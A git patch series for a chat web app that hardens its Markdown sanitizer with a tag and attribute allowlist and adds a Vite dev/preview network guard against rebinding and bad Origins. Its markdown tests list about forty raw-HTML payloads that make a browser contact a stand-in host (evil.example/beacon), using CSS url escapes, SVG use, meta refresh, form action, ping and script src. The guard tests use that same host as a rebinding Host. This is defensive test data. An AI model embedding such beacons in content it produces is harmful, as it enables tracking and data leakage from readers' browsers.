+const unexpectedFetch = vi.fn<typeof fetch>(async (input, init) => {
+  const url = typeof input === "string" ? input : input instanceof URL ? input.href : input.url;
+  const method = init?.method ?? (input instanceof Request ? input.method : "GET");
+  throw new Error(`Unexpected fetch: ${method} ${url}`);
+});
+
+beforeEach(() => {
+  unexpectedFetch.mockClear();
+  vi.stubGlobal("fetch", unexpectedFetch);
+});
+
+afterEach(() => {
+  vi.unstubAllGlobals();
+  expect(unexpectedFetch).not.toHaveBeenCalled();
+});
+
 interface FakeSocket extends WebSocketLike {
   sent: string[];
   resolveOpen(): void;
@@ -129,13 +147,65 @@ function fakeFetchImpl(opts?: FakeFetchOptions): typeof fetch {
             "body" in input
           ? await input.clone().text()
           : null;
-    if (/\/models(\?.*)?$/.test(url)) {
-      return new Response(JSON.stringify({ models }), { status: 200 });
+    const { pathname, searchParams } = new URL(url);
+    if (pathname === "/models" && method === "GET") {
+      return Response.json({ models });
+    }
+    if (method === "GET") {
+      if (pathname === "/conversations" && searchParams.get("status") === "active,idle") {
+        // Most tests drive tabs via WS/local actions. Disable boot reconciliation
+        // so an in-flight empty list cannot remove a tab created by the test.
+        // Discovery tests override this route with their authoritative lists.
+        return Response.json({ error: "Discovery unavailable in this fixture" }, { status: 503 });
+      }
+      if (pathname === "/plugins") return Response.json({ plugins: [] });
+      if (pathname === "/computers") return Response.json({ computers: [] });
+      if (/^\/workspaces\/[^/]+\/plugins$/.test(pathname)) {
+        return Response.json({ workspaceId: pathname.split("/")[2], plugins: [] });
+      }
+      if (/^\/workspaces\/[^/]+\/plugins\/providers-status$/.test(pathname)) {
+        return Response.json({ enabledProviderCount: 1 });
+      }
+      // Explicitly simulate absent layout providers; retain local cached layouts.
+      if (
+        /^\/workspaces\/[^/]+\/layout$/.test(pathname) ||
+        /^\/home\/tile-layout\/(wide|tall)$/.test(pathname)
+      ) {
+        return Response.json({ error: "No layout provider" }, { status: 404 });
+      }
+      if (pathname === "/settings/vision") {
+        return Response.json({ imageLimit: 10, compactionModel: null });
+      }
+      const setting =
+        /^\/conversations\/[^/]+\/(cwd|computer|reasoning-effort|thinking|compact-percent)$/.exec(
+          pathname,
+        )?.[1];
+      if (setting !== undefined) {
+        const key = {
+          cwd: "cwd",
+          computer: "computerId",
+          "reasoning-effort": "reasoningEffort",
+          thinking: "thinking",
+          "compact-percent": "compactPercent",
+        }[setting];
+        if (key !== undefined) return Response.json({ [key]: null });
+      }
+      if (/^\/conversations\/[^/]+\/metrics$/.test(pathname)) {
+        return Response.json({ turns: [] });
+      }
+      if (/^\/conversations\/[^/]+$/.test(pathname) && searchParams.has("sinceSeq")) {
+        return Response.json(
+          history[url] ?? ({ chunks: [], latestSeq: 0 } satisfies ConversationHistoryResponse),
+        );
+      }
     }
-    if (url.endsWith("/named-agents") && method === "GET") {
+    if (/^\/conversations\/[^/]+\/close$/.test(pathname) && method === "POST") {
+      return Response.json({ conversationId: pathname.split("/")[2], abortedTurn: false });
+    }
+    if (pathname === "/named-agents" && method === "GET") {
       return new Response(JSON.stringify({ namedAgents }), { status: 200 });
     }
-    if (url.endsWith("/named-agents") && method === "POST") {
+    if (pathname === "/named-agents" && method === "POST") {
       const payload =
         bodyText === null
           ? null
@@ -148,7 +218,7 @@ function fakeFetchImpl(opts?: FakeFetchOptions): typeof fetch {
       namedAgents = [...namedAgents, agent];
       return new Response(JSON.stringify({ namedAgent: agent }), { status: 201 });
     }
-    if (url.includes("/named-agents/") && method === "PUT") {
+    if (/^\/named-agents\/[^/]+$/.test(pathname) && method === "PUT") {
       const id = url.split("/named-agents/")[1] ?? "";
       const payload =
         bodyText === null
@@ -162,12 +232,15 @@ function fakeFetchImpl(opts?: FakeFetchOptions): typeof fetch {
       namedAgents = namedAgents.map((a) => (a.id === id ? updated : a));
       return new Response(JSON.stringify({ namedAgent: updated }), { status: 200 });
     }
-    if (url.includes("/named-agents/") && method === "DELETE") {
+    if (/^\/named-agents\/[^/]+$/.test(pathname) && method === "DELETE") {
       const id = url.split("/named-agents/")[1] ?? "";
       namedAgents = namedAgents.filter((a) => a.id !== id);
       return new Response(JSON.stringify({ id }), { status: 200 });
     }
-    if (url.endsWith("/model")) {
+    if (
+      /^\/conversations\/[^/]+\/model$/.test(pathname) &&
+      (method === "GET" || method === "PUT")
+    ) {
       return new Response(
         JSON.stringify({
           conversationId: "ignored",
@@ -176,9 +249,7 @@ function fakeFetchImpl(opts?: FakeFetchOptions): typeof fetch {
         { status: 200 },
       );
     }
-    const body =
-      history[url] ?? ({ chunks: [], latestSeq: 0 } satisfies ConversationHistoryResponse);
-    return new Response(JSON.stringify(body), { status: 200 });
+    return unexpectedFetch(input, init);
   };
 }
 
@@ -216,6 +287,22 @@ function activeConversationId(store: ReturnType<typeof createAppStore>): string
   return id as string;
 }
 
+describe("fakeFetchImpl", () => {
+  it.each([
+    "http://localhost:24203/unexpected",
+    new URL("http://localhost:24203/conversations/c/unknown-setting"),
+    new Request("http://localhost:24203/models", { method: "DELETE" }),
+  ])("rejects an unexpected URL or method: %s", async (input) => {
+    try {
+      await expect(fakeFetchImpl()(input)).rejects.toThrow("Unexpected fetch:");
+      expect(unexpectedFetch).toHaveBeenCalledOnce();
+    } finally {
+      // This test deliberately exercises the guard; all store tests require zero calls.
+      unexpectedFetch.mockClear();
+    }
+  });
+});
+
 describe("createAppStore", () => {
   it("starts with empty catalog and no surfaces", () => {
     const ws = fakeSocket();
@@ -597,7 +684,11 @@ describe("createAppStore", () => {
       ],
       latestSeq: 2,
     };
-    const fetchImpl: typeof fetch = async (input: string | URL | Request): Promise<Response> => {
+    const base = fakeFetchImpl();
+    const fetchImpl: typeof fetch = async (
+      input: string | URL | Request,
+      init?: RequestInit,
+    ): Promise<Response> => {
       const url = typeof input === "string" ? input : input instanceof URL ? input.href : input.url;
       fetchedUrls.push(url);
       if (/\/models(\?.*)?$/.test(url)) {
@@ -605,7 +696,10 @@ describe("createAppStore", () => {
           status: 200,
         });
       }
-      return new Response(JSON.stringify(historyResponse), { status: 200 });
+      if (/\/conversations\/[^/?]+\?sinceSeq=/.test(url)) {
+        return Response.json(historyResponse);
+      }
+      return base(input, init);
     };
 
     const ws = fakeSocket();
@@ -656,13 +750,13 @@ describe("createAppStore", () => {
     });
     ws.resolveOpen();
 
-    await new Promise((r) => setTimeout(r, 50));
-
-    expect(store.models).toEqual([
-      "opencode-1/deepseek-v4-flash",
-      "openai/gpt-4o",
-      "anthropic/claude-3",
-    ]);
+    await vi.waitFor(() => {
+      expect(store.models).toEqual([
+        "opencode-1/deepseek-v4-flash",
+        "openai/gpt-4o",
+        "anthropic/claude-3",
+      ]);
+    });
 
     store.dispose();
   });
@@ -692,9 +786,7 @@ describe("createAppStore", () => {
       localStorage: createFakeStorage(),
     });
     ws.resolveOpen();
-    await new Promise((r) => setTimeout(r, 50));
-
-    expect(store.models).toEqual(["umans/umans-glm-5.2"]);
+    await vi.waitFor(() => expect(store.models).toEqual(["umans/umans-glm-5.2"]));
     expect(store.activeModel).toBe("opencode-1/deepseek-v4-flash");
 
     store.dispose();
@@ -826,9 +918,10 @@ describe("createAppStore", () => {
 
   it("fetchOpenConversations stamps tabs with the conversation's persisted model (not the global active model)", async () => {
     const ws = fakeSocket();
+    const base = fakeFetchImpl();
     const fetchImpl: typeof fetch = async (
       input: string | URL | Request,
-      _init?: RequestInit,
+      init?: RequestInit,
     ): Promise<Response> => {
       const url = typeof input === "string" ? input : input instanceof URL ? input.href : input.url;
       if (/\/models(\?.*)?$/.test(url)) {
@@ -856,7 +949,7 @@ describe("createAppStore", () => {
           { status: 200 },
         );
       }
-      return new Response(JSON.stringify({ chunks: [], latestSeq: 0 }), { status: 200 });
+      return base(input, init);
     };
 
     const store = createAppStore({
@@ -881,7 +974,11 @@ describe("createAppStore", () => {
 
   it("fetchOpenConversations seeds the chat store's cache-timer turn gap from an idle conversation's lastActivityAt", async () => {
     const ws = fakeSocket();
-    const fetchImpl: typeof fetch = async (input: string | URL | Request): Promise<Response> => {
+    const base = fakeFetchImpl();
+    const fetchImpl: typeof fetch = async (
+      input: string | URL | Request,
+      init?: RequestInit,
+    ): Promise<Response> => {
       const url = typeof input === "string" ? input : input instanceof URL ? input.href : input.url;
       if (url.includes("/conversations?status=")) {
         return new Response(
@@ -904,7 +1001,7 @@ describe("createAppStore", () => {
       if (url.endsWith("/metrics")) {
         return new Response(JSON.stringify({ turns: [] }), { status: 200 });
       }
-      return new Response(JSON.stringify({ chunks: [], latestSeq: 0 }), { status: 200 });
+      return base(input, init);
     };
 
     const store = createAppStore({
@@ -1510,7 +1607,11 @@ describe("createAppStore", () => {
 
   it("re-subscribes and resyncs a loaded conversation on reconnect", async () => {
     const fetchedUrls: string[] = [];
-    const fetchImpl: typeof fetch = async (input: string | URL | Request): Promise<Response> => {
+    const base = fakeFetchImpl();
+    const fetchImpl: typeof fetch = async (
+      input: string | URL | Request,
+      init?: RequestInit,
+    ): Promise<Response> => {
       const url = typeof input === "string" ? input : input instanceof URL ? input.href : input.url;
       fetchedUrls.push(url);
       if (/\/models(\?.*)?$/.test(url)) {
@@ -1518,7 +1619,7 @@ describe("createAppStore", () => {
           status: 200,
         });
       }
-      return new Response(JSON.stringify({ chunks: [], latestSeq: 0 }), { status: 200 });
+      return base(input, init);
     };
 
     const ws = reconnectableSocket();
@@ -1601,9 +1702,6 @@ describe("createAppStore", () => {
           status: 200,
         });
       }
-      if (url.includes("/heartbeat")) {
-        return new Response(JSON.stringify(config), { status: 200 });
-      }
       return base(input, init);
     };
   }
@@ -2366,6 +2464,7 @@ describe("createAppStore — vision settings (global)", () => {
     fetchImpl: typeof fetch;
     puts: { imageLimit?: number; compactionModel?: string | null }[];
   } {
+    const base = fakeFetchImpl();
     let current = initial;
     const puts: { imageLimit?: number; compactionModel?: string | null }[] = [];
     return {
@@ -2394,8 +2493,7 @@ describe("createAppStore — vision settings (global)", () => {
           }
           return new Response(JSON.stringify(current), { status: 200 });
         }
-        // Default: empty history + no cwd for the other endpoints.
-        return new Response(JSON.stringify({ chunks: [], latestSeq: 0 }), { status: 200 });
+        return base(input, init);
       },
     };
   }
@@ -2458,6 +2556,7 @@ describe("createAppStore — vision settings (global)", () => {
   });
 
   it("surfaces a PUT error", async () => {
+    const base = fakeFetchImpl();
     const fetchImpl: typeof fetch = async (input, init) => {
       const url = typeof input === "string" ? input : input instanceof URL ? input.href : input.url;
       if (url.endsWith("/settings/vision")) {
@@ -2468,7 +2567,7 @@ describe("createAppStore — vision settings (global)", () => {
           status: 200,
         });
       }
-      return new Response(JSON.stringify({ models: [] }), { status: 200 });
+      return base(input, init);
     };
     const store = createAppStore({
       socketFactory: () => fakeSocket(),
@@ -2670,6 +2769,8 @@ describe("conversation load-on-demand", () => {
     return { store, requests };
   }
 
+  // These exercise 300 real Svelte-backed tabs and count requests, not elapsed
+  // time. Allow contention without shrinking the regression's large-tab fixture.
   it("boots 300 persisted/discovered tabs with only active history + metrics", async () => {
     const ws = fakeSocket();
     const { store, requests } = await setup(ws, 300);
@@ -2695,7 +2796,7 @@ describe("conversation load-on-demand", () => {
     } finally {
       store.dispose();
     }
-  });
+  }, 20_000);
 
   it("does not load any history while the active slot is a draft", async () => {
     const { store, requests } = await setup(fakeSocket(), 300, null);
@@ -2707,7 +2808,7 @@ describe("conversation load-on-demand", () => {
     } finally {
       store.dispose();
     }
-  });
+  }, 20_000);
 
   it("loads a tab once, including repeated activation while its load is pending", async () => {
     const { store, requests } = await setup(fakeSocket());
diff --git a/src/features/markdown/logic/streaming-markdown.test.ts b/src/features/markdown/logic/streaming-markdown.test.ts
index f810579..931803b 100644
--- a/src/features/markdown/logic/streaming-markdown.test.ts
+++ b/src/features/markdown/logic/streaming-markdown.test.ts
@@ -240,6 +240,8 @@ describe("streaming-markdown corpus equivalence", () => {
 });
 
 describe("streaming-markdown performance fixture (counts, not wall-clock)", () => {
+  // Thousands of real parser/sanitizer calls contend with the unrestricted suite.
+  // This asserts operation counts, not speed; keep all counts and allow CPU load.
   it("hljs calls and prefix mutations stay proportional to BLOCKS, not length × deltas", () => {
     const spy = vi.spyOn(hljs, "highlight");
     const state = createStreamingMarkdown();
@@ -282,7 +284,7 @@ describe("streaming-markdown performance fixture (counts, not wall-clock)", () =
     expect(normalizeHtml(final.prefixHtml + final.tailHtml)).toBe(
       normalizeHtml(renderMarkdown(doc, { streaming: true })),
     );
-  });
+  }, 20_000);
 });
 
 describe("markdown tail-pipeline exports", () => {
-- 
cgit v1.2.3


From 6a2a40d64737b3cb678740c8f85027c3be0000bc Mon Sep 17 00:00:00 2001
From: Adam Malczewski <github@tradam.dev>
Date: Wed, 21 Oct 2026 14:37:28 +0900
Subject: fix(review-followup-feb): block raw Markdown fetch vectors and guard
 preview

---
 scripts/vite-network-guard.test.ts           | 105 ++++++++++++++++++++++++
 scripts/vite-network-guard.ts                |  74 +++++++++++++++++
 src/features/markdown/logic/markdown.test.ts | 118 +++++++++++++++++++++++++++
 src/features/markdown/logic/markdown.ts      | 112 ++++++++++++++++++++++++-
 src/features/markdown/ui/markdown.test.ts    |  19 +++++
 vite.config.ts                               |  61 +-------------
 6 files changed, 427 insertions(+), 62 deletions(-)
 create mode 100644 scripts/vite-network-guard.test.ts
 create mode 100644 scripts/vite-network-guard.ts

(limited to 'src/features/markdown')

diff --git a/scripts/vite-network-guard.test.ts b/scripts/vite-network-guard.test.ts
new file mode 100644
index 0000000..651b635
--- /dev/null
+++ b/scripts/vite-network-guard.test.ts
@@ -0,0 +1,105 @@
+import { EventEmitter } from "node:events";
+import type { IncomingMessage, ServerResponse } from "node:http";
+import type { Connect, Plugin, PreviewServer, ViteDevServer } from "vite";
+import { describe, expect, it, vi } from "vitest";
+import { applyViteNetworkPolicy, devNetworkGuard } from "./vite-network-guard";
+
+const policy = {
+  allowedHosts: new Set(["localhost", "127.0.0.1", "::1", "node.ts.net", "100.64.0.10"]),
+  allowedAddresses: new Set(["127.0.0.1", "::1", "100.64.0.10"]),
+};
+
+function install(mode: "dev" | "preview") {
+  let middleware: Connect.NextHandleFunction | undefined;
+  const http = new EventEmitter();
+  const upgrade = vi.fn();
+  http.on("upgrade", upgrade);
+  const server = {
+    middlewares: {
+      use: (handler: Connect.NextHandleFunction) => {
+        middleware = handler;
+      },
+    },
+    httpServer: http,
+  };
+  const plugin = devNetworkGuard(policy);
+  const hook = mode === "dev" ? plugin.configureServer : plugin.configurePreviewServer;
+  if (typeof hook !== "function") throw new Error(`Missing ${mode} guard hook`);
+  // Hooks only need the injected middleware stack and HTTP event emitter.
+  hook.call({} as never, server as unknown as ViteDevServer & PreviewServer);
+  if (!middleware) throw new Error(`Missing ${mode} middleware`);
+  return { middleware, http, upgrade };
+}
+
+function request(localAddress: string | undefined, host?: string, origin?: string) {
+  return { socket: { localAddress }, headers: { host, origin } } as IncomingMessage;
+}
+
+const cases = [
+  ["loopback", "127.0.0.1", "localhost", undefined, 200],
+  ["IPv6 loopback", "::1", "[::1]:34204", undefined, 200],
+  ["mapped address / canonical Host", "::ffff:127.0.0.1", "LOCALHOST.:34204", undefined, 200],
+  ["tailnet", "100.64.0.10", "node.ts.net", "https://node.ts.net:34204", 200],
+  ["unselected interface with trusted Host", "172.17.0.1", "localhost", undefined, 403],
+  ["missing interface", undefined, "localhost", undefined, 403],
+  ["arbitrary IP Host", "127.0.0.1", "127.0.0.2", undefined, 421],
+  ["rebinding Host", "127.0.0.1", "evil.example", undefined, 421],
+  ["missing Host", "127.0.0.1", undefined, undefined, 421],
+  ["disallowed Origin", "127.0.0.1", "localhost", "https://evil.example", 403],
+  ["opaque Origin", "127.0.0.1", "localhost", "null", 403],
+  ["Host before Origin", "127.0.0.1", "evil.example", "null", 421],
+] as const;
+
+describe.each(["dev", "preview"] as const)("%s HTTP guard", (mode) => {
+  it.each(cases)("%s", (_label, local, host, origin, status) => {
+    const { middleware } = install(mode);
+    const req = request(local, host, origin);
+    const writeHead = vi.fn();
+    const end = vi.fn();
+    const next = vi.fn();
+    middleware(req, { writeHead, end } as unknown as ServerResponse, next);
+    if (status === 200) {
+      expect(next).toHaveBeenCalledExactlyOnceWith();
+      expect(writeHead).not.toHaveBeenCalled();
+      if (host === "LOCALHOST.:34204") expect(req.headers.host).toBe("localhost:34204");
+    } else {
+      expect(writeHead).toHaveBeenCalledWith(status, { "Content-Type": "text/plain" });
+      expect(end).toHaveBeenCalledOnce();
+      expect(next).not.toHaveBeenCalled(); // In particular, cannot reach CORS/static serving.
+    }
+  });
+});
+
+describe("dev upgrades remain protected", () => {
+  it.each(cases)("%s", (_label, local, host, origin, status) => {
+    const { http, upgrade } = install("dev");
+    const end = vi.fn();
+    http.emit("upgrade", request(local, host, origin), { end }, Buffer.alloc(0));
+    if (status === 200) {
+      expect(upgrade).toHaveBeenCalledOnce();
+      expect(end).not.toHaveBeenCalled();
+    } else {
+      expect(upgrade).not.toHaveBeenCalled();
+      expect(end).toHaveBeenCalledWith(expect.stringContaining(`HTTP/1.1 ${status}`));
+    }
+  });
+});
+
+it("sets explicit allowlists and guarded CORS for preview as well as dev", () => {
+  const config = applyViteNetworkPolicy(
+    {
+      server: { host: true, port: 34204 },
+      preview: { host: true, port: 34204, cors: true, allowedHosts: true },
+    },
+    policy,
+  );
+  for (const serving of [config.server, config.preview]) {
+    expect(serving?.allowedHosts).toEqual([...policy.allowedHosts]);
+    expect(serving?.cors).toEqual({ origin: true });
+    expect(serving?.host).toBe(true);
+    expect(serving?.port).toBe(34204);
+  }
+  const plugin = config.plugins?.[0] as Plugin;
+  expect(plugin.configureServer).toBeTypeOf("function");
+  expect(plugin.configurePreviewServer).toBeTypeOf("function");
+});
diff --git a/scripts/vite-network-guard.ts b/scripts/vite-network-guard.ts
new file mode 100644
index 0000000..7fe9eca
--- /dev/null
+++ b/scripts/vite-network-guard.ts
@@ -0,0 +1,74 @@
+import type { IncomingMessage } from "node:http";
+import type { Plugin, UserConfig } from "vite";
+import { checkDevRequest, type DevNetworkPolicy, normalizeHostHeader } from "./network-policy";
+
+/** Explicitly protect BOTH serving modes; preview must not inherit permissive CORS alone. */
+export function applyViteNetworkPolicy(config: UserConfig, network: DevNetworkPolicy): UserConfig {
+  return {
+    ...config,
+    plugins: [devNetworkGuard(network), ...(config.plugins ?? [])],
+    server: {
+      ...config.server,
+      allowedHosts: [...network.allowedHosts],
+      // Safe reflection only after our pre-middleware validates the Origin.
+      cors: { origin: true },
+    },
+    preview: {
+      ...config.preview,
+      allowedHosts: [...network.allowedHosts],
+      cors: { origin: true },
+    },
+  };
+}
+
+export function devNetworkGuard(policy: DevNetworkPolicy): Plugin {
+  const check = (req: IncomingMessage) =>
+    checkDevRequest(
+      {
+        localAddress: req.socket.localAddress,
+        host: req.headers.host,
+        origin: req.headers.origin,
+      },
+      policy,
+    );
+  // Installed before Vite's CORS, host check and static-file middleware in
+  // either mode. No post-hook: even preflights and error responses are guarded.
+  const middleware: import("vite").Connect.NextHandleFunction = (req, res, next) => {
+    const decision = check(req);
+    if (decision !== "ok") {
+      res.writeHead(decision.status, { "Content-Type": "text/plain" });
+      res.end(decision.reason);
+      return;
+    }
+    req.headers.host = normalizeHostHeader(req.headers.host ?? "");
+    next();
+  };
+  return {
+    name: "dispatch-dev-network-guard",
+    enforce: "pre",
+    configurePreviewServer(server) {
+      server.middlewares.use(middleware);
+    },
+    configureServer(server) {
+      server.middlewares.use(middleware);
+      // Vite registers HMR before configureServer. Wrap (rather than prepend to)
+      // its listeners: EventEmitter otherwise continues into HMR after a denial.
+      const http = server.httpServer;
+      if (http) {
+        const upgrades = http.listeners("upgrade");
+        http.removeAllListeners("upgrade");
+        http.on("upgrade", (req, socket, head) => {
+          const decision = check(req);
+          if (decision !== "ok") {
+            socket.end(
+              `HTTP/1.1 ${decision.status} ${decision.status === 421 ? "Misdirected Request" : "Forbidden"}\r\nConnection: close\r\nContent-Length: 0\r\n\r\n`,
+            );
+            return;
+          }
+          req.headers.host = normalizeHostHeader(req.headers.host ?? "");
+          for (const upgrade of upgrades) upgrade.call(http, req, socket, head);
+        });
+      }
+    },
+  };
+}
diff --git a/src/features/markdown/logic/markdown.test.ts b/src/features/markdown/logic/markdown.test.ts
index 320a5f3..f186da9 100644
--- a/src/features/markdown/logic/markdown.test.ts
+++ b/src/features/markdown/logic/markdown.test.ts
@@ -174,6 +174,124 @@ describe("renderMarkdown", () => {
     });
   });
 
+  describe("raw HTML cannot load remote content outside image consent", () => {
+    const remote = "https://evil.example/beacon";
+    const vectors = [
+      ["video poster", `<video poster="${remote}"></video>`, "video"],
+      ["video src", `<video src="${remote}" autoplay></video>`, "video"],
+      ["audio src", `<audio src="${remote}" preload="auto"></audio>`, "audio"],
+      ["source src", `<video><source src="${remote}"></video>`, "source"],
+      ["source srcset", `<picture><source srcset="${remote} 2x"></picture>`, "source"],
+      ["track src", `<video><track src="${remote}" default></video>`, "track"],
+      ["image input", `<input type="image" src="${remote}">`, "input"],
+      ["input src without type", `<input src="${remote}">`, "input"],
+      ["inline background", `<div style="background-image:url(${remote})">text</div>`, "[style]"],
+      ["inline CSS escape", `<p style="background: u\\72l(${remote})">text</p>`, "[style]"],
+      [
+        "inline image-set",
+        `<span style="background:image-set('${remote}' 1x)">text</span>`,
+        "[style]",
+      ],
+      ["style import", `<style>@import '${remote}';</style>`, "style"],
+      ["SVG image href", `<svg><image href="${remote}" /></svg>`, "svg,image"],
+      ["SVG image xlink", `<svg><image xlink:href="${remote}" /></svg>`, "svg,image"],
+      ["SVG use href", `<svg><use href="${remote}#x" /></svg>`, "svg,use"],
+      ["SVG use xlink", `<svg><use xlink:href="${remote}#x" /></svg>`, "svg,use"],
+      ["SVG filter", `<svg><filter><feImage href="${remote}" /></filter></svg>`, "svg,feImage"],
+      ["MathML", `<math href="${remote}"><mi>x</mi></math>`, "math"],
+      [
+        "table background",
+        `<table background="${remote}"><tr><td>x</td></tr></table>`,
+        "[background]",
+      ],
+      [
+        "td background",
+        `<table><tr><td background="${remote}">x</td></tr></table>`,
+        "[background]",
+      ],
+      ["body background", `<body background="${remote}">x</body>`, "[background]"],
+      ["object data", `<object data="${remote}"></object>`, "object"],
+      ["embed src", `<embed src="${remote}">`, "embed"],
+      ["embed data", `<embed data="${remote}">`, "embed"],
+      ["form action", `<form action="${remote}"><button>go</button></form>`, "form,[action]"],
+      ["button formaction", `<button formaction="${remote}">go</button>`, "[formaction]"],
+      ["input formaction", `<input type="submit" formaction="${remote}">`, "input,[formaction]"],
+      ["stylesheet link", `<link rel="stylesheet" href="${remote}">`, "link"],
+      ["preload link", `<link rel="preload" as="image" href="${remote}">`, "link"],
+      ["prefetch link", `<link rel="prefetch" href="${remote}">`, "link"],
+      ["DNS prefetch", `<link rel="dns-prefetch" href="//evil.example">`, "link"],
+      ["meta refresh", `<meta http-equiv="refresh" content="0;url=${remote}">`, "meta"],
+      ["iframe src", `<iframe src="${remote}"></iframe>`, "iframe"],
+      [
+        "iframe srcdoc",
+        `<iframe srcdoc="&lt;img src='${remote}'&gt;"></iframe>`,
+        "iframe,[srcdoc]",
+      ],
+      ["base URL", `<base href="${remote}/"><img src="/safe.png">`, "base"],
+      ["script src", `<script src="${remote}"></script>`, "script"],
+      ["anchor ping", `<a href="/safe" ping="${remote}">link</a>`, "[ping]"],
+      ["legacy command", `<command icon="${remote}">`, "command"],
+      ["legacy applet", `<applet codebase="${remote}" archive="x.jar"></applet>`, "applet"],
+      ["non-image src", `<div src="${remote}" href="${remote}">text</div>`, "[src],[href]"],
+    ] as const;
+
+    // Inspect the returned DOM, not jsdom's lack of resource fetching. Both
+    // authoritative renders and streaming tails must remove each active sink.
+    describe.each([
+      ["full", renderMarkdown],
+      ["tail", renderMarkdownTail],
+    ] as const)("%s render", (_name, render) => {
+      it.each(vectors)("neutralizes %s", (_vector, text, forbidden) => {
+        const doc = new DOMParser().parseFromString(render(text), "text/html");
+        expect(doc.querySelector(forbidden)).toBeNull();
+        for (const element of doc.body.querySelectorAll("*")) {
+          for (const attr of element.attributes) {
+            if (attr.name === "href" && element.tagName === "A") continue;
+            expect(attr.value).not.toContain("evil.example");
+          }
+        }
+      });
+    });
+
+    it("also blocks all vectors in settled streaming prefixes", () => {
+      for (const [_name, text, forbidden] of vectors) {
+        const state = createStreamingMarkdown();
+        advance(state, `${text}\n\ntail`);
+        const result = advance(state, `${text}\n\ntail grows`);
+        const doc = new DOMParser().parseFromString(
+          result.prefixHtml + result.tailHtml,
+          "text/html",
+        );
+        expect(doc.querySelector(forbidden)).toBeNull();
+      }
+    });
+
+    it("retains passive Markdown structure, highlighting and disabled task checkboxes", () => {
+      const html = renderMarkdown(
+        "- [x] done\n- [ ] pending\n\n| A | B |\n| - | - |\n| x | y |\n\n```js\nconst x = 1;\n```",
+      );
+      const doc = new DOMParser().parseFromString(html, "text/html");
+      expect(doc.querySelectorAll('input[type="checkbox"][disabled]')).toHaveLength(2);
+      expect(doc.querySelector("input[checked]")).not.toBeNull();
+      expect(doc.querySelectorAll("td")).toHaveLength(2);
+      expect(doc.querySelector(".hljs-keyword")).not.toBeNull();
+      expect(doc.querySelector('button[data-copy][type="button"]')).not.toBeNull();
+    });
+
+    it("makes raw checkboxes and buttons inert, even inside an outer form", () => {
+      const doc = new DOMParser().parseFromString(
+        renderMarkdown('<input type="checkbox"><button type="submit">go</button>'),
+        "text/html",
+      );
+      expect(doc.querySelector("input")?.hasAttribute("disabled")).toBe(true);
+      expect(doc.querySelector("button")?.getAttribute("type")).toBe("button");
+    });
+
+    it("does not permit non-HTTP network schemes on images", () => {
+      expect(imageSrc(renderMarkdown('<img src="ftp://evil.example/beacon">'))).toBeNull();
+    });
+  });
+
   describe("local-path images", () => {
     const BASE = "http://localhost:24203";
     const image = { apiBase: BASE, cwd: "/w/foo" };
diff --git a/src/features/markdown/logic/markdown.ts b/src/features/markdown/logic/markdown.ts
index a65997e..ed287d2 100644
--- a/src/features/markdown/logic/markdown.ts
+++ b/src/features/markdown/logic/markdown.ts
@@ -185,6 +185,87 @@ function addCopyButtons(html: string): string {
     .replace(/<\/pre>/g, "</pre></div>");
 }
 
+// Positive policy: chat HTML is passive Markdown structure, not arbitrary web
+// content. New browser elements/attributes must not silently add fetch sinks.
+// In particular there is no CSS, SVG/MathML, media, form, embed or metadata.
+const MARKDOWN_TAGS = [
+  "a",
+  "abbr",
+  "b",
+  "blockquote",
+  "br",
+  "caption",
+  "code",
+  "col",
+  "colgroup",
+  "dd",
+  "del",
+  "details",
+  "div",
+  "dl",
+  "dt",
+  "em",
+  "h1",
+  "h2",
+  "h3",
+  "h4",
+  "h5",
+  "h6",
+  "hr",
+  "i",
+  "img",
+  "kbd",
+  "li",
+  "mark",
+  "ol",
+  "p",
+  "pre",
+  "q",
+  "rp",
+  "rt",
+  "ruby",
+  "s",
+  "samp",
+  "small",
+  "span",
+  "strong",
+  "sub",
+  "summary",
+  "sup",
+  "table",
+  "tbody",
+  "td",
+  "tfoot",
+  "th",
+  "thead",
+  "tr",
+  "u",
+  "ul",
+  "var",
+  "wbr",
+  "button",
+  "input",
+];
+const MARKDOWN_ATTRIBUTES = [
+  "alt",
+  "align",
+  "checked",
+  "class",
+  "colspan",
+  "disabled",
+  "height",
+  "href",
+  "open",
+  "reversed",
+  "rowspan",
+  "scope",
+  "src",
+  "start",
+  "title",
+  "type",
+  "width",
+];
+
 /**
  * A dedicated, render-local DOMPurify instance: hooks never affect another
  * consumer or retain a conversation's backend allowlist. The document base is
@@ -195,7 +276,22 @@ function sanitize(html: string, image?: MarkdownImageOptions): string {
   const base = document.baseURI;
   const origin = new URL(base).origin;
   const backendOrigin = image === undefined ? origin : new URL(image.apiBase || base, base).origin;
+  purify.addHook("uponSanitizeElement", (node) => {
+    // Keep GFM task lists, but no image/submit/other form controls. Removing
+    // only type/src would allow browser defaulting or later attribute changes.
+    if (
+      node.nodeName === "INPUT" &&
+      (node as Element).getAttribute("type")?.toLowerCase() !== "checkbox"
+    ) {
+      node.parentNode?.removeChild(node);
+    }
+  });
   purify.addHook("afterSanitizeAttributes", (node) => {
+    // URL-bearing attributes are supported ONLY on these two HTML elements.
+    if (node.tagName !== "A") node.removeAttribute("href");
+    if (node.tagName !== "IMG") node.removeAttribute("src");
+    if (node.tagName === "INPUT") node.setAttribute("disabled", "");
+    if (node.tagName === "BUTTON") node.setAttribute("type", "button");
     if (node.tagName === "A" && node.hasAttribute("href")) {
       node.setAttribute("target", "_blank");
       node.setAttribute("rel", "noopener noreferrer");
@@ -210,7 +306,11 @@ function sanitize(html: string, image?: MarkdownImageOptions): string {
       node.removeAttribute("src");
       return;
     }
-    if (url.protocol !== "http:" && url.protocol !== "https:") return;
+    if (url.protocol === "data:") return; // Image context cannot load subresources.
+    if (url.protocol !== "http:" && url.protocol !== "https:") {
+      node.removeAttribute("src");
+      return;
+    }
     if (url.origin === origin || url.origin === backendOrigin) return;
 
     // Only safe, inert attributes are carried over. In particular, never copy
@@ -225,8 +325,14 @@ function sanitize(html: string, image?: MarkdownImageOptions): string {
     button.textContent = `Load image from ${url.host}`;
     node.parentNode?.replaceChild(button, node);
   });
-  // Responsive candidates on <img>/<picture> must not bypass the src hook.
-  return purify.sanitize(html, { FORBID_ATTR: ["srcset"] });
+  return purify.sanitize(html, {
+    ALLOWED_TAGS: MARKDOWN_TAGS,
+    ALLOWED_ATTR: MARKDOWN_ATTRIBUTES,
+    // Keep consent/copy data and accessibility labels, never active URL sinks
+    // such as srcset, style, background, ping, action or namespaced href.
+    ALLOW_DATA_ATTR: true,
+    ALLOW_ARIA_ATTR: true,
+  });
 }
 
 /**
diff --git a/src/features/markdown/ui/markdown.test.ts b/src/features/markdown/ui/markdown.test.ts
index 149bff5..b86cc0a 100644
